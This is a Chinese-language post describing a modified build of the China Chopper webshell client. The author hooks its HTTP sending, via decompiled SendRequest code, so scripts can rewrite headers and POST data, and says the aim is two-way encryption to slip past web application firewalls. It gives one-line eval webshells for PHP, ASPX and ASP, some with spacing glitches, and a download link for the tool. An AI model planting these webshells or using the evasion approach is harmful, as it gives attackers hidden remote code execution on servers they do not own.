制作过程
中国菜刀用这个函数来发包
BOOL SendRequest( CString& strHeaders, LPVOID lpOptional = NULL, DWORD dwOptionalLen = 0 );
strHeaders就是http头;lpOptional是POST数据;dwOptionalLen是POST数据的长度。
第一次中国菜刀之所以没有增加http头的修改,是因为这个参数是要给CString的引用,处理起来很复杂,经过仔细分析之后,我发现BOOL SendRequest( CString& strHeaders, LPVOID lpOptional = NULL, DWORD dwOptionalLen = 0 ); 调用了BOOL SendRequest( LPCTSTR pstrHeaders = NULL, DWORD dwHeadersLen = 0, LPVOID lpOptional = NULL, DWORD dwOptionalLen = 0 );调用HttpSendRequestW。用这个函数来发送HTTP包
- BOOL __thiscall CHttpFile::SendRequest(DWORD *this, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength)
- {
- DWORD *v5; // esi@1
- BOOL result; // eax@1
- v5 = this;
- result = HttpSendRequestW((HINTERNET)this[5], lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength);
- if ( !result )
- AfxThrowInternetException(v5[7], 0);
- return result;
- }
这里的this[5]的位置,刚好是连接的句柄,而第二个参数是WCHAR类型的文本。
- HINTERNET hConnect = (HINTERNET)rECX[5];
- HttpSendRequestW(hConnect,newheaders,lstrlenW(newheaders),newpostdata,lstrlenA(newpostdata));
所以我直接就调用最终函数。
3.最终效果
可通过脚本修改http头,和POST数据
4.说明
需要32位的python2.7.*(否则会打不开)
headers是一个文本,修改时注意每个header用\r\n分开
这个插件版本的菜刀,可以完成双向加密(过狗),增加基础认证,cookies等等
可以说有了这个 真●特效●威力加强●菜刀 我用过之后是这样子的,大家用过也是这样子的!
同时修改一句话为:
Php:
- <?php
- function xxxx($str){return eval($str);}
- function yyyyyyyyyyyyy($str){returnbase64_decode($str);}
- xxxx($_POST['pass']); ?>
aspx:
- <%@ Page Language="Jscript"validateRequest="false" %>
- <%function xxxx(str){returneval(str,"unsafe");}%>
- <%var a = Request.Item["ee"];%>
- <%var b = xxxx(a);%>
- <%Response.Write(b);%>
Asp:
- <%
- Function xxxx(str)
- eval str
- End Function
- D = request("pass")
- xxxx D
- %>
下载地址:http://pan.baidu.com/s/1c0D8YJ2